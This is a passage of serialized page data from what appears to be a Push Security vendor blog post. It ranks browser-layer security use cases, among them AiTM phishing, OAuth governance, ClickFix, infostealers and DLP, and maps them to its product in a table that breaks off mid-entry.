originate",{"data":3933,"marks":3934,"value":1048,"nodeType":865},{},[],{"data":3936,"content":3937,"nodeType":953},{},[],{"data":3939,"content":3940,"nodeType":963},{},[3941],{"data":3942,"marks":3943,"value":3945,"nodeType":865},{},[3944],{"type":961},"#2 — Detecting and stopping advanced phishing: AiTM, multi-channel delivery, and zero-day lures",{"data":3947,"content":3948,"nodeType":866},{},[3949],{"data":3950,"marks":3951,"value":3846,"nodeType":865},{},[3952],{"type":961},{"data":3954,"content":3955,"nodeType":866},{},[3956,3960,3968,3972,3977],{"data":3957,"marks":3958,"value":3959,"nodeType":865},{},[],"Adversary-in-the-Middle (AiTM) phishing — where an attacker's reverse proxy intercepts credentials and session tokens in real time — has become the standard technique for bypassing MFA at scale. ",{"data":3961,"content":3963,"nodeType":882},{"uri":3962},"https://www.esentire.com/resources/library/2026-threat-report",[3964],{"data":3965,"marks":3966,"value":3967,"nodeType":865},{},[],"eSentire's 2026 Threat Report",{"data":3969,"marks":3970,"value":3971,"nodeType":865},{},[]," attributes ",{"data":3973,"marks":3974,"value":3976,"nodeType":865},{},[3975],{"type":961},"63% of account compromise incidents to PhaaS kits",{"data":3978,"marks":3979,"value":3980,"nodeType":865},{},[],", with account compromise surging 389% year-over-year.",{"data":3982,"content":3983,"nodeType":866},{},[3984,3988,3996,4000,4005,4009,4018],{"data":3985,"marks":3986,"value":3987,"nodeType":865},{},[],"Traditional phishing controls are also no longer in the right place to intercept these attacks. The delivery channel has shifted decisively away from email: ",{"data":3989,"content":3991,"nodeType":882},{"uri":3990},"https://cloud.google.com/blog/topics/threat-intelligence/m-trends-2026",[3992],{"data":3993,"marks":3994,"value":3995,"nodeType":865},{},[],"Mandiant M-Trends 2026",{"data":3997,"marks":3998,"value":3999,"nodeType":865},{},[]," found email phishing dropped from 14% to 6% as an infection vector, and Push data shows ",{"data":4001,"marks":4002,"value":4004,"nodeType":865},{},[4003],{"type":961},"roughly 1 in 3 phishing payloads intercepted were delivered outside email entirely",{"data":4006,"marks":4007,"value":4008,"nodeType":865},{},[]," — via search engine malvertising, social platforms, and compromised websites. Meanwhile, ",{"data":4010,"content":4012,"nodeType":882},{"uri":4011},"https://www.spamhaus.com/resource-center/supporting-researchers-with-passive-dns/",[4013],{"data":4014,"marks":4015,"value":4017,"nodeType":865},{},[4016],{"type":961},"89% of phishing domains are active for less than two days",{"data":4019,"marks":4020,"value":4021,"nodeType":865},{},[],", making blocklist-based detection structurally too slow — attackers can spin up, tear down, and move on before blocklists can catch up.",{"data":4023,"content":4024,"nodeType":866},{},[4025],{"data":4026,"marks":4027,"value":4028,"nodeType":865},{},[],"Modern phishing plays out entirely inside the browser session. The only detection layer that can see the phishing page structure, the credential entry, and the anomalous token context is the browser itself. Browser-native detection analyses page behavior rather than matching known-bad domains, which means it fires on zero-day kits regardless of how recently the infrastructure was stood up. Controls like credential entry guardrails add an additional layer — blocking corporate passwords from being submitted to unauthorized domains independently of content and behavior-based detections.",{"data":4030,"content":4031,"nodeType":953},{},[],{"data":4033,"content":4034,"nodeType":963},{},[4035],{"data":4036,"marks":4037,"value":4039,"nodeType":865},{},[4038],{"type":961},"#3 — Identity posture hardening: enforcing security across the apps your IdP doesn't manage",{"data":4041,"content":4042,"nodeType":866},{},[4043],{"data":4044,"marks":4045,"value":4047,"nodeType":865},{},[4046],{"type":961},"Security value: High | Browser fit: Uniquely suited",{"data":4049,"content":4050,"nodeType":866},{},[4051],{"data":4052,"marks":4053,"value":4054,"nodeType":865},{},[],"The first challenge is knowing what you're protecting. Every identity an employee creates — every app they sign up to, every password they set, every login that bypasses SSO — is an authentication event that happens inside a browser session. The browser is the only layer that observes all of these events regardless of whether the app is sanctioned, managed, or even known to IT. Solutions that rely on API-level integrations with known apps, network traffic inspection, or email sign-up notifications can only ever build a partial picture, because they can only see apps they already know about. The browser sees the login itself, which means it discovers the identity at the moment it's created or used — authentication method, password strength, MFA status, and all.",{"data":4056,"content":4060,"nodeType":925},{"target":4057},{"sys":4058},{"id":4059,"type":922,"linkType":923},"HETvBCPsKGkqLVtaasXH0",[],{"data":4062,"content":4063,"nodeType":866},{},[4064],{"data":4065,"marks":4066,"value":4067,"nodeType":865},{},[],"But discovery without enforcement is just an inventory problem. Being in the browser means that you're in a great position to act on what it finds at the moment of authentication. Browser-native guardrails that prompt MFA enrollment, guide users toward stronger credentials, and redirect to SSO login paths close the gap at scale, on every app, including those the IdP has never seen. They also produce the continuous, auditable evidence of MFA coverage and credential hygiene across the full application estate that regulators, insurers, and auditors increasingly require — evidence that no IdP-centric tool can provide for apps outside its scope.",{"data":4069,"content":4070,"nodeType":953},{},[],{"data":4072,"content":4073,"nodeType":963},{},[4074],{"data":4075,"marks":4076,"value":4078,"nodeType":865},{},[4077],{"type":961},"#4 — Browser extension security",{"data":4080,"content":4081,"nodeType":866},{},[4082],{"data":4083,"marks":4084,"value":4047,"nodeType":865},{},[4085],{"type":961},{"data":4087,"content":4088,"nodeType":866},{},[4089,4093,4102,4105,4113,4116,4124],{"data":4090,"marks":4091,"value":4092,"nodeType":865},{},[],"Browser extensions have become one of the most talked-about attack surfaces in security over the past 18 months, and understandably so — a string of high-profile supply chain compromises have collectively impacted tens of millions of users since late 2024 (",{"data":4094,"content":4096,"nodeType":882},{"uri":4095},"https://www.cyberhaven.com/blog/cyberhavens-chrome-extension-security-incident-and-what-were-doing-about-it",[4097],{"data":4098,"marks":4099,"value":4101,"nodeType":865},{},[4100],{"type":997},"Cyberhaven",{"data":4103,"marks":4104,"value":2186,"nodeType":865},{},[],{"data":4106,"content":4108,"nodeType":882},{"uri":4107},"https://thehackernews.com/2025/12/darkspectre-browser-extension-campaigns.html",[4109],{"data":4110,"marks":4111,"value":4112,"nodeType":865},{},[],"DarkSpectre",{"data":4114,"marks":4115,"value":2186,"nodeType":865},{},[],{"data":4117,"content":4119,"nodeType":882},{"uri":4118},"https://thehackernews.com/2025/12/trust-wallet-chrome-extension-hack.html",[4120],{"data":4121,"marks":4122,"value":4123,"nodeType":865},{},[],"Trust Wallet",{"data":4125,"marks":4126,"value":4127,"nodeType":865},{},[],", among many others).",{"data":4129,"content":4130,"nodeType":866},{},[4131,4134,4143,4147,4152,4156,4161],{"data":4132,"marks":4133,"value":21,"nodeType":865},{},[],{"data":4135,"content":4137,"nodeType":882},{"uri":4136},"https://pushsecurity.com/blog/why-browser-extension-risk-scoring-wont-predict-your-next-breach/",[4138],{"data":4139,"marks":4140,"value":4142,"nodeType":865},{},[4141],{"type":997},"Analysis of 20,000+ extensions across Push customers",{"data":4144,"marks":4145,"value":4146,"nodeType":865},{},[]," found ",{"data":4148,"marks":4149,"value":4151,"nodeType":865},{},[4150],{"type":961},"46.76% have the permission combinations needed to perform account takeover with no user interaction",{"data":4153,"marks":4154,"value":4155,"nodeType":865},{},[],", making permissions-based risk scoring effectively useless as a triage tool. The real threat model is not malicious extensions at install time — it's legitimate extensions that ",{"data":4157,"marks":4158,"value":4160,"nodeType":865},{},[4159],{"type":944},"become",{"data":4162,"marks":4163,"value":4164,"nodeType":865},{},[]," malicious after an ownership transfer, developer account compromise, or silent update push. Every major extension supply chain breach of the past 18 months scored as low-risk immediately before compromise.",{"data":4166,"content":4167,"nodeType":866},{},[4168],{"data":4169,"marks":4170,"value":4171,"nodeType":865},{},[],"SWGs and network tools are structurally blind to this attack surface: a malicious extension exfiltrating session tokens generates no anomalous network signal — its traffic is indistinguishable from normal browsing. Endpoint agents have no visibility into extension behavior at the session level. Extension inventory, supply chain change monitoring — ownership transfers, permission escalations, developer contact changes — and enforcement all require browser-layer access by definition.",{"data":4173,"content":4174,"nodeType":953},{},[],{"data":4176,"content":4177,"nodeType":963},{},[4178],{"data":4179,"marks":4180,"value":4182,"nodeType":865},{},[4181],{"type":961},"#5 — Shadow SaaS discovery and OAuth integration governance",{"data":4184,"content":4185,"nodeType":866},{},[4186],{"data":4187,"marks":4188,"value":4047,"nodeType":865},{},[4189],{"type":961},{"data":4191,"content":4192,"nodeType":866},{},[4193,4197,4202,4206,4211],{"data":4194,"marks":4195,"value":4196,"nodeType":865},{},[],"Shadow SaaS discovery shares DNA with identity posture hardening (#3) — both start with the same browser-native visibility into login events that no other layer can replicate. Where identity posture focuses on hardening ",{"data":4198,"marks":4199,"value":4201,"nodeType":865},{},[4200],{"type":944},"how",{"data":4203,"marks":4204,"value":4205,"nodeType":865},{},[]," employees authenticate, shadow SaaS discovery focuses on ",{"data":4207,"marks":4208,"value":4210,"nodeType":865},{},[4209],{"type":944},"what",{"data":4212,"marks":4213,"value":4214,"nodeType":865},{},[]," they authenticate to: surfacing the full estate of applications in use across the organization, including those that IT has never sanctioned or even heard of.",{"data":4216,"content":4217,"nodeType":866},{},[4218],{"data":4219,"marks":4220,"value":4221,"nodeType":865},{},[],"OAuth integration governance is the component of shadow SaaS that is both the most potentially damaging and the hardest to surface through other means. The SaaS-to-SaaS OAuth pivot is now an industrialized attack pattern.",{"data":4223,"content":4224,"nodeType":1049},{},[4225,4246],{"data":4226,"content":4227,"nodeType":1003},{},[4228],{"data":4229,"content":4230,"nodeType":866},{},[4231,4234,4242],{"data":4232,"marks":4233,"value":873,"nodeType":865},{},[],{"data":4235,"content":4237,"nodeType":882},{"uri":4236},"https://pushsecurity.com/blog/analyzing-the-instructure-breach/",[4238],{"data":4239,"marks":4240,"value":4241,"nodeType":865},{},[],"ShinyHunters",{"data":4243,"marks":4244,"value":4245,"nodeType":865},{},[]," Salesforce campaign — which compromised 1,000+ organizations and 1.5 billion records — demonstrated the full chain: the attacker didn't stop at stealing customer data but harvested OAuth tokens, AWS access keys, and Snowflake tokens from breached tenants and pivoted through connected services like Salesloft, Drift, and Gainsight to reach hundreds more organizations.",{"data":4247,"content":4248,"nodeType":1003},{},[4249],{"data":4250,"content":4251,"nodeType":866},{},[4252,4255,4262],{"data":4253,"marks":4254,"value":873,"nodeType":865},{},[],{"data":4256,"content":4257,"nodeType":882},{"uri":3288},[4258],{"data":4259,"marks":4260,"value":4261,"nodeType":865},{},[],"Context.ai → Vercel",{"data":4263,"marks":4264,"value":4265,"nodeType":865},{},[]," chain followed the same logic — stored OAuth tokens from a forgotten AI app trial provided the bridge into Google Workspace, internal dashboards, and API keys. These are not isolated incidents; they are the repeatable playbook for extracting maximum value from a single compromise through the trust relationships that OAuth connections encode.",{"data":4267,"content":4268,"nodeType":866},{},[4269],{"data":4270,"marks":4271,"value":4272,"nodeType":865},{},[],"Every OAuth consent grant transits the browser — the authorization prompt, the scope disclosure, the user's approval click, and the redirect that completes the grant all happen inside a browser session — which makes the browser the only layer where an unwanted grant can be intercepted before the token is issued and the persistent access path is created. Once a token exists, the damage is done: it survives password resets, MFA changes, and session revocations, and revoking it after the fact requires first knowing it was granted, which most organizations do not.",{"data":4274,"content":4275,"nodeType":953},{},[],{"data":4277,"content":4278,"nodeType":963},{},[4279],{"data":4280,"marks":4281,"value":4283,"nodeType":865},{},[4282],{"type":961},"#6 — Blocking ClickFix and social engineering-based malware delivery",{"data":4285,"content":4286,"nodeType":866},{},[4287],{"data":4288,"marks":4289,"value":4291,"nodeType":865},{},[4290],{"type":961},"Security value: High | Browser fit: Strong for interception — shared with endpoint security for execution. ConsentFix is a browser-native exception that is T1-aligned.",{"data":4293,"content":4294,"nodeType":866},{},[4295,4299,4304,4308,4315,4319,4324,4328,4333],{"data":4296,"marks":4297,"value":4298,"nodeType":865},{},[],"ClickFix was the most common initial access vector reported by Microsoft in 2025, accounting for ",{"data":4300,"marks":4301,"value":4303,"nodeType":865},{},[4302],{"type":961},"47% of observed attacks",{"data":4305,"marks":4306,"value":4307,"nodeType":865},{},[],". CrowdStrike's ",{"data":4309,"content":4310,"nodeType":882},{"uri":1362},[4311],{"data":4312,"marks":4313,"value":4314,"nodeType":865},{},[],"2026 Global Threat Report",{"data":4316,"marks":4317,"value":4318,"nodeType":865},{},[]," identified fake CAPTCHA lures as the most common malware download type, increasing ",{"data":4320,"marks":4321,"value":4323,"nodeType":865},{},[4322],{"type":961},"563% year-over-year",{"data":4325,"marks":4326,"value":4327,"nodeType":865},{},[],". The technique writes a malicious command to the victim's clipboard and social-engineers them into executing it. It is fileless (bypassing download scanning), user-executed (bypassing endpoint behavioral detections), and ",{"data":4329,"marks":4330,"value":4332,"nodeType":865},{},[4331],{"type":961},"4 in 5 ClickFix payloads intercepted by Push arrived via search engines",{"data":4334,"marks":4335,"value":4336,"nodeType":865},{},[]," — not email (bypassing email anti-phishing controls).",{"data":4338,"content":4339,"nodeType":866},{},[4340],{"data":4341,"marks":4342,"value":4343,"nodeType":865},{},[],"The browser is the earliest and most effective intervention point — detecting the clipboard injection and social engineering lure before anything reaches the endpoint in executable form. But the problem doesn't end at the browser boundary: once the command has been pasted and run, detection and remediation become endpoint problems, and a mature defense requires both layers. The broader *Fix family — FileFix, InstallFix, and similar derivatives — follows the same pattern, with the browser providing the critical early-warning layer within a defense that spans browser and endpoint.",{"data":4345,"content":4349,"nodeType":925},{"target":4346},{"sys":4347},{"id":4348,"type":922,"linkType":923},"39alMHtw9FPHbQINqbAgBN",[],{"data":4351,"content":4352,"nodeType":953},{},[],{"data":4354,"content":4355,"nodeType":963},{},[4356],{"data":4357,"marks":4358,"value":4360,"nodeType":865},{},[4359],{"type":961},"#7 — AI visibility and control: enforcing which AI tools employees can use and how",{"data":4362,"content":4363,"nodeType":866},{},[4364],{"data":4365,"marks":4366,"value":4368,"nodeType":865},{},[4367],{"type":961},"Security value: High | Browser fit: Strong for access enforcement — but AI governance is not a new security problem so much as a force multiplier on existing ones",{"data":4370,"content":4371,"nodeType":866},{},[4372,4376,4385,4389,4398],{"data":4373,"marks":4374,"value":4375,"nodeType":865},{},[],"AI adoption is outpacing security governance at nearly every organization, and ",{"data":4377,"content":4379,"nodeType":882},{"uri":4378},"https://pushsecurity.com/blog/7-things-omdias-latest-report-tells-us-about-the-secure-enterprise-browser-market/",[4380],{"data":4381,"marks":4382,"value":4384,"nodeType":865},{},[4383],{"type":961},"71% of organizations are concerned about data leakage via unsanctioned AI apps",{"data":4386,"marks":4387,"value":4388,"nodeType":865},{},[],". But the security problems that AI creates are not, for the most part, novel — they are existing Tier 1 problems amplified by a new category of tooling. Shadow AI apps are shadow SaaS (#5). AI OAuth integrations are OAuth governance (#5). AI browser extensions are extension security (#4). The risk of employees using personal AI accounts — ",{"data":4390,"content":4392,"nodeType":882},{"uri":4391},"https://keepaware.com/blog/46-of-sensitive-data-bypasses-your-dlp",[4393],{"data":4394,"marks":4395,"value":4397,"nodeType":865},{},[4396],{"type":961},"46% of sensitive inputs to AI tools are sent via personal accounts",{"data":4399,"marks":4400,"value":4401,"nodeType":865},{},[]," — is an identity posture problem (#3).",{"data":4403,"content":4404,"nodeType":866},{},[4405],{"data":4406,"marks":4407,"value":4408,"nodeType":865},{},[],"The component parts that allow you to govern AI are individually Tier 1 capabilities, and the browser is the best single layer for gaining visibility and control over AI usage — it sees the apps, the OAuth grants, the extensions, and the account context. But a complete end-to-end solution also requires a presence on the endpoint layer (for local AI tools, IDE-integrated agents, and API-level usage that never touches the browser), and prompt-level DLP on sanctioned tools is better handled by platform-native controls than by browser-layer observation.",{"data":4410,"content":4414,"nodeType":925},{"target":4411},{"sys":4412},{"id":4413,"type":922,"linkType":923},"6Py3z9VgjhKrchmYvhmbsq",[],{"data":4416,"content":4417,"nodeType":866},{},[4418],{"data":4419,"marks":4420,"value":4421,"nodeType":865},{},[],"The browser is what makes platform controls effective — if employees are using personal accounts, there are no enterprise audit logs to inspect. And for the growing category of AI agents, agentic browsers, and MCP-connected tools that operate through OAuth grants rather than direct user interaction, the browser is where the consent decisions that authorize those agents are made.",{"data":4423,"content":4424,"nodeType":953},{},[],{"data":4426,"content":4427,"nodeType":963},{},[4428],{"data":4429,"marks":4430,"value":4432,"nodeType":865},{},[4431],{"type":961},"#8 — Investigation acceleration and incident response: closing the missing middle",{"data":4434,"content":4435,"nodeType":866},{},[4436],{"data":4437,"marks":4438,"value":4440,"nodeType":865},{},[4439],{"type":961},"Security value: High | Browser fit: Strong — fills a structural gap complementary to endpoint, network, and identity telemetry",{"data":4442,"content":4443,"nodeType":866},{},[4444,4448,4453,4457,4466],{"data":4445,"marks":4446,"value":4447,"nodeType":865},{},[],"Endpoint logs show what processes executed. Network logs show traffic destinations. IdP logs show authentication events. None of them show what happened ",{"data":4449,"marks":4450,"value":4452,"nodeType":865},{},[4451],{"type":944},"inside the browser session",{"data":4454,"marks":4455,"value":4456,"nodeType":865},{},[]," — the phishing page the user saw, the credentials they entered, the malicious OAuth consent grant, the data uploaded or pasted to an unsanctioned service. This is the missing middle of modern incident investigations, and for the ",{"data":4458,"content":4460,"nodeType":882},{"uri":4459},"https://www.paloaltonetworks.co.uk/resources/research/unit-42-incident-response-report",[4461],{"data":4462,"marks":4463,"value":4465,"nodeType":865},{},[4464],{"type":961},"48% of intrusions involving browser-based activity",{"data":4467,"marks":4468,"value":4469,"nodeType":865},{},[],", the absence of browser telemetry is a significant investigative gap.",{"data":4471,"content":4472,"nodeType":866},{},[4473],{"data":4474,"marks":4475,"value":4476,"nodeType":865},{},[],"Browser-layer telemetry fills that gap with a fundamentally different quality of signal: what users actually clicked, what pages loaded and how they behaved, what credentials were entered, what session activity followed — structured, high-fidelity data from inside the session where the attack played out. That's the difference between inferring what happened and seeing it directly, and it determines scope, drives containment decisions, and provides the direct evidential record that neither endpoint DLP nor network monitoring can supply for browser-native attacks.",{"data":4478,"content":4479,"nodeType":866},{},[4480],{"data":4481,"marks":4482,"value":4483,"nodeType":865},{},[],"Browser telemetry is a key addition to the investigative picture. Investigations are inherently multi-source — without browser data, reconstructing an incident from EDR, network, and IdP logs won't tell you the full picture (particularly when attacks are increasingly delivered outside of email, intercepting users as they browse the internet normally).",{"data":4485,"content":4486,"nodeType":866},{},[4487],{"data":4488,"marks":4489,"value":4490,"nodeType":865},{},[],"The browser provides the causal link that other sources miss: the bridge between \"a user visited a URL\" and \"credentials were submitted to a phishing page that issued a session token now being replayed from an attacker-controlled browser.\" Integrated with SIEM and SOAR platforms, that signal enables automated response workflows to execute on high-confidence detections without waiting for manual triage.",{"data":4492,"content":4493,"nodeType":953},{},[],{"data":4495,"content":4496,"nodeType":963},{},[4497],{"data":4498,"marks":4499,"value":4501,"nodeType":865},{},[4500],{"type":961},"#9 — Infostealer defense: detecting exposure and blocking delivery",{"data":4503,"content":4504,"nodeType":866},{},[4505],{"data":4506,"marks":4507,"value":4509,"nodeType":865},{},[4508],{"type":961},"Security value: High | Browser fit: Strong for delivery interception and stolen factor detection — complementary to endpoint security for execution",{"data":4511,"content":4512,"nodeType":866},{},[4513],{"data":4514,"marks":4515,"value":4516,"nodeType":865},{},[],"Infostealers are the upstream supply chain for a disproportionate share of the most damaging enterprise attacks — harvesting credentials, session cookies, and browser profile data en masse from infected devices, then selling the outputs on infostealer markets for use in credential stuffing, ATO, and ransomware campaigns.",{"data":4518,"content":4522,"nodeType":925},{"target":4519},{"sys":4520},{"id":4521,"type":922,"linkType":923},"5NF1afwu3zFGThZTtStVQA",[],{"data":4524,"content":4525,"nodeType":866},{},[4526],{"data":4527,"marks":4528,"value":4529,"nodeType":865},{},[],"The browser is relevant at two points in the infostealer kill chain. First, delivery interception: ClickFix (covered in #6) is now the primary infostealer delivery mechanism, and the browser is the only layer that can intercept it before execution. Second, detecting stolen factors when attackers attempt to use them — and infostealers produce two categories of stolen factor that the browser can guard against.",{"data":4531,"content":4532,"nodeType":1049},{},[4533,4543],{"data":4534,"content":4535,"nodeType":1003},{},[4536],{"data":4537,"content":4538,"nodeType":866},{},[4539],{"data":4540,"marks":4541,"value":4542,"nodeType":865},{},[],"Stolen credentials can be identified at the point of login: browser-layer detection flags credentials that appear in known breach datasets, catching infostealer-harvested passwords being replayed in credential stuffing campaigns before the account is compromised.",{"data":4544,"content":4545,"nodeType":1003},{},[4546],{"data":4547,"content":4548,"nodeType":866},{},[4549],{"data":4550,"marks":4551,"value":4552,"nodeType":865},{},[],"Stolen session tokens are caught through a different mechanism: sessions originating in instrumented browsers carry a marker, and when a token subsequently appears in an un-instrumented browser it is a confirmed stolen session — catching infostealer-harvested cookies being replayed regardless of how or where the token was originally harvested.",{"data":4554,"content":4555,"nodeType":866},{},[4556,4560,4569,4573,4578],{"data":4557,"marks":4558,"value":4559,"nodeType":865},{},[],"This is particularly critical for the ",{"data":4561,"content":4563,"nodeType":882},{"uri":4562},"https://www.verizon.com/business/en-gb/resources/reports/dbir/",[4564],{"data":4565,"marks":4566,"value":4568,"nodeType":865},{},[4567],{"type":961},"46% of infected devices that are unmanaged",{"data":4570,"marks":4571,"value":4572,"nodeType":865},{},[]," where EDR is absent and the stolen credentials and session tokens will never be detected at the endpoint. Infostealer ",{"data":4574,"marks":4575,"value":4577,"nodeType":865},{},[4576],{"type":944},"execution",{"data":4579,"marks":4580,"value":4581,"nodeType":865},{},[]," remains an endpoint problem; the browser closes the delivery and replay gaps that endpoint tools miss.",{"data":4583,"content":4584,"nodeType":953},{},[],{"data":4586,"content":4587,"nodeType":963},{},[4588],{"data":4589,"marks":4590,"value":4592,"nodeType":865},{},[4591],{"type":961},"#10 — Data loss prevention: a key component of effective DLP, but not the full picture",{"data":4594,"content":4595,"nodeType":866},{},[4596],{"data":4597,"marks":4598,"value":4600,"nodeType":865},{},[4599],{"type":961},"Security value: Medium-high | Browser fit: Partial — complementary to dedicated DLP",{"data":4602,"content":4603,"nodeType":866},{},[4604],{"data":4605,"marks":4606,"value":4607,"nodeType":865},{},[],"File uploads to unsanctioned services, sensitive data pasted into AI tools, and exfiltration through personal accounts are genuine and growing risks that traditional email and endpoint-centric DLP tools were not designed to catch. Browser-layer controls provide real value here — particularly for BYOD users and contractors, where endpoint DLP agents cannot be deployed and the browser is the only available data loss visibility.",{"data":4609,"content":4610,"nodeType":866},{},[4611],{"data":4612,"marks":4613,"value":4614,"nodeType":865},{},[],"The honest scope: browser-layer DLP does not cover email-based loss, endpoint-to-endpoint transfers, or cloud API exfiltration. It closes specific and important gaps within a broader DLP strategy, not a replacement for one. A further distinction for organizations evaluating browser DLP for secure third-party access: full-stack enterprise browsers can enforce deeper output controls — watermarking, obfuscation, screenshot and print restrictions — at the OS rendering level that browser extensions cannot reliably replicate. Extension-based browser DLP is strongest for upload, input, and access control use cases rather than OS-level output restriction.",{"data":4616,"content":4617,"nodeType":953},{},[],{"data":4619,"content":4620,"nodeType":963},{},[4621],{"data":4622,"marks":4623,"value":4625,"nodeType":865},{},[4624],{"type":961},"Tier 3 — Lower Value: A problem best addressed outside of the browser",{"data":4627,"content":4628,"nodeType":1049},{},[4629,4644,4659,4674],{"data":4630,"content":4631,"nodeType":1003},{},[4632],{"data":4633,"content":4634,"nodeType":866},{},[4635,4640],{"data":4636,"marks":4637,"value":4639,"nodeType":865},{},[4638],{"type":961},"Browser exploit protection",{"data":4641,"marks":4642,"value":4643,"nodeType":865},{},[]," (narrow RCE/sandbox sense) ranks lower because browser zero-days represent just 9% of all zero-days reported to Google, and 82% of attack detections are now malware-free (CrowdStrike 2026). This is a problem for browser vendors to solve, and it's not a big enough problem to warrant enterprises investing in additional mitigating controls.",{"data":4645,"content":4646,"nodeType":1003},{},[4647],{"data":4648,"content":4649,"nodeType":866},{},[4650,4655],{"data":4651,"marks":4652,"value":4654,"nodeType":865},{},[4653],{"type":961},"Domain and URL category controls",{"data":4656,"marks":4657,"value":4658,"nodeType":865},{},[]," offer genuine browser-layer value but are commoditized by SWG and DNS filtering tools most organizations already operate. This can be provided in the browser, sure (and it's something we do at Push) but offers limited security value in terms of making a difference against modern attacks that quickly rotate these kinds of indicators and are designed to blend in.",{"data":4660,"content":4661,"nodeType":1003},{},[4662],{"data":4663,"content":4664,"nodeType":866},{},[4665,4670],{"data":4666,"marks":4667,"value":4669,"nodeType":865},{},[4668],{"type":961},"Access management",{"data":4671,"marks":4672,"value":4673,"nodeType":865},{},[]," — ZTNA, VPN replacement, PAM, BYOD access control — is an IT infrastructure and access architecture problem, not a security operations problem, and belongs to a different buyer with a different evaluation frame. There are numerous (typically full-stack) Enterprise Browser solutions on the market that address IT use cases like this well.",{"data":4675,"content":4676,"nodeType":1003},{},[4677],{"data":4678,"content":4679,"nodeType":866},{},[4680,4684],{"data":4681,"marks":4682,"value":781,"nodeType":865},{},[4683],{"type":961},{"data":4685,"marks":4686,"value":4687,"nodeType":865},{},[]," addresses browser exploit risk rather than the identity-first attacks that represent the majority of current enterprise browser risk, and introduces UX friction that limits deployment at scale. When it triggers, it introduces latency but still fails to detect and stop browser-native attacks.",{"data":4689,"content":4690,"nodeType":953},{},[],{"data":4692,"content":4693,"nodeType":963},{},[4694],{"data":4695,"marks":4696,"value":4698,"nodeType":865},{},[4697],{"type":961},"How Push Security maps to the highest-value security use cases",{"data":4700,"content":4701,"nodeType":866},{},[4702],{"data":4703,"marks":4704,"value":4705,"nodeType":865},{},[],"Push is purpose-built to address all of these problems using a flexible browser extension — plug into any browser with no migration, no host agent deployment, and no IT overhead — that delivers telemetry and control from day one, and extends coverage to every enrolled browser regardless of device ownership.",{"data":4707,"content":4708,"nodeType":2396},{},[4709,4734,4758,4782,4806,4830,4854,4878,4902,4926,4950,4974],{"data":4710,"content":4711,"nodeType":1869},{},[4712,4723],{"data":4713,"content":4714,"nodeType":1835},{},[4715],{"data":4716,"content":4717,"nodeType":866},{},[4718],{"data":4719,"marks":4720,"value":4722,"nodeType":865},{},[4721],{"type":961},"Security use case",{"data":4724,"content":4725,"nodeType":1835},{},[4726],{"data":4727,"content":4728,"nodeType":866},{},[4729],{"data":4730,"marks":4731,"value":4733,"nodeType":865},{},[4732],{"type":961},"How Push addresses it",{"data":4735,"content":4736,"nodeType":1869},{},[4737,4748],{"data":4738,"content":4739,"nodeType":1835},{},[4740],{"data":4741,"content":4742,"nodeType":866},{},[4743],{"data":4744,"marks":4745,"value":4747,"nodeType":865},{},[4746],{"type":961},"Account takeover prevention",{"data":4749,"content":4750,"nodeType":1835},{},[4751],{"data":4752,"content":4753,"nodeType":866},{},[4754],{"data":4755,"marks":4756,"value":4757,"nodeType":865},{},[],"Surfaces and fixes ghost logins, weak and breached credentials and missing MFA controls across every app and device — including shadow SaaS and unmanaged devices invisible to the IdP. Push also detects and stops the attack techniques that typically lead to ATO early in the kill chain and before an account can be compromised.",{"data":4759,"content":4760,"nodeType":1869},{},[4761,4772],{"data":4762,"content":4763,"nodeType":1835},{},[4764],{"data":4765,"content":4766,"nodeType":866},{},[4767],{"data":4768,"marks":4769,"value":4771,"nodeType":865},{},[4770],{"type":961},"Advanced phishing detection",{"data":4773,"content":4774,"nodeType":1835},{},[4775],{"data":4776,"content":4777,"nodeType":866},{},[4778],{"data":4779,"marks":4780,"value":4781,"nodeType":865},{},[],"Behavioral page analysis detects phishing kits regardless of whether the domain is known-bad. Credential entry guardrails block corporate passwords from being submitted to unauthorized domains. TTP-based detection remains effective as attacker infrastructure rotates.",{"data":4783,"content":4784,"nodeType":1869},{},[4785,4796],{"data":4786,"content":4787,"nodeType":1835},{},[4788],{"data":4789,"content":4790,"nodeType":866},{},[4791],{"data":4792,"marks":4793,"value":4795,"nodeType":865},{},[4794],{"type":961},"Identity posture hardening",{"data":4797,"content":4798,"nodeType":1835},{},[4799],{"data":4800,"content":4801,"nodeType":866},{},[4802],{"data":4803,"marks":4804,"value":4805,"nodeType":865},{},[],"Enforces MFA, strong credentials, and SSO adoption across every app the IdP doesn't manage. Produces continuous, auditable MFA coverage and credential hygiene evidence across the full application and device estate.",{"data":4807,"content":4808,"nodeType":1869},{},[4809,4820],{"data":4810,"content":4811,"nodeType":1835},{},[4812],{"data":4813,"content":4814,"nodeType":866},{},[4815],{"data":4816,"marks":4817,"value":4819,"nodeType":865},{},[4818],{"type":961},"Browser extension security",{"data":4821,"content":4822,"nodeType":1835},{},[4823],{"data":4824,"content":4825,"nodeType":866},{},[4826],{"data":4827,"marks":4828,"value":4829,"nodeType":865},{},[],"Live extension inventory with supply chain change event monitoring — ownership transfers, permission escalations, developer contact changes — rather than static risk scoring. Supports default-deny allowlisting and remote extension removal. Blocks known-bad malicious extensions automatically.",{"data":4831,"content":4832,"nodeType":1869},{},[4833,4844],{"data":4834,"content":4835,"nodeType":1835},{},[4836],{"data":4837,"content":4838,"nodeType":866},{},[4839],{"data":4840,"marks":4841,"value":4843,"nodeType":865},{},[4842],{"type":961},"Shadow SaaS and OAuth governance",{"data":4845,"content":4846,"nodeType":1835},{},[4847],{"data":4848,"content":4849,"nodeType":866},{},[4850],{"data":4851,"marks":4852,"value":4853,"nodeType":865},{},[],"Discovers shadow SaaS from actual login events with full authentication context. Monitors and blocks OAuth consent flows — including AI and MCP integrations — in real time before persistent access paths are created.",{"data":4855,"content":4856,"nodeType":1869},{},[4857,4868],{"data":4858,"content":4859,"nodeType":1835},{},[4860],{"data":4861,"content":4862,"nodeType":866},{},[4863],{"data":4864,"marks":4865,"value":4867,"nodeType":865},{},[4866],{"type":961},"ClickFix and the *Fix family",{"data":4869,"content":4870,"nodeType":1835},{},[4871],{"data":4872,"content":4873,"nodeType":866},{},[4874],{"data":4875,"marks":4876,"value":4877,"nodeType":865},{},[],"Detects and blocks ClickFix lures, clipboard injection, and browser-native variants like ConsentFix in real time — before the payload executes or OAuth key material is captured.",{"data":4879,"content":4880,"nodeType":1869},{},[4881,4892],{"data":4882,"content":4883,"nodeType":1835},{},[4884],{"data":4885,"content":4886,"nodeType":866},{},[4887],{"data":4888,"marks":4889,"value":4891,"nodeType":865},{},[4890],{"type":961},"AI visibility & 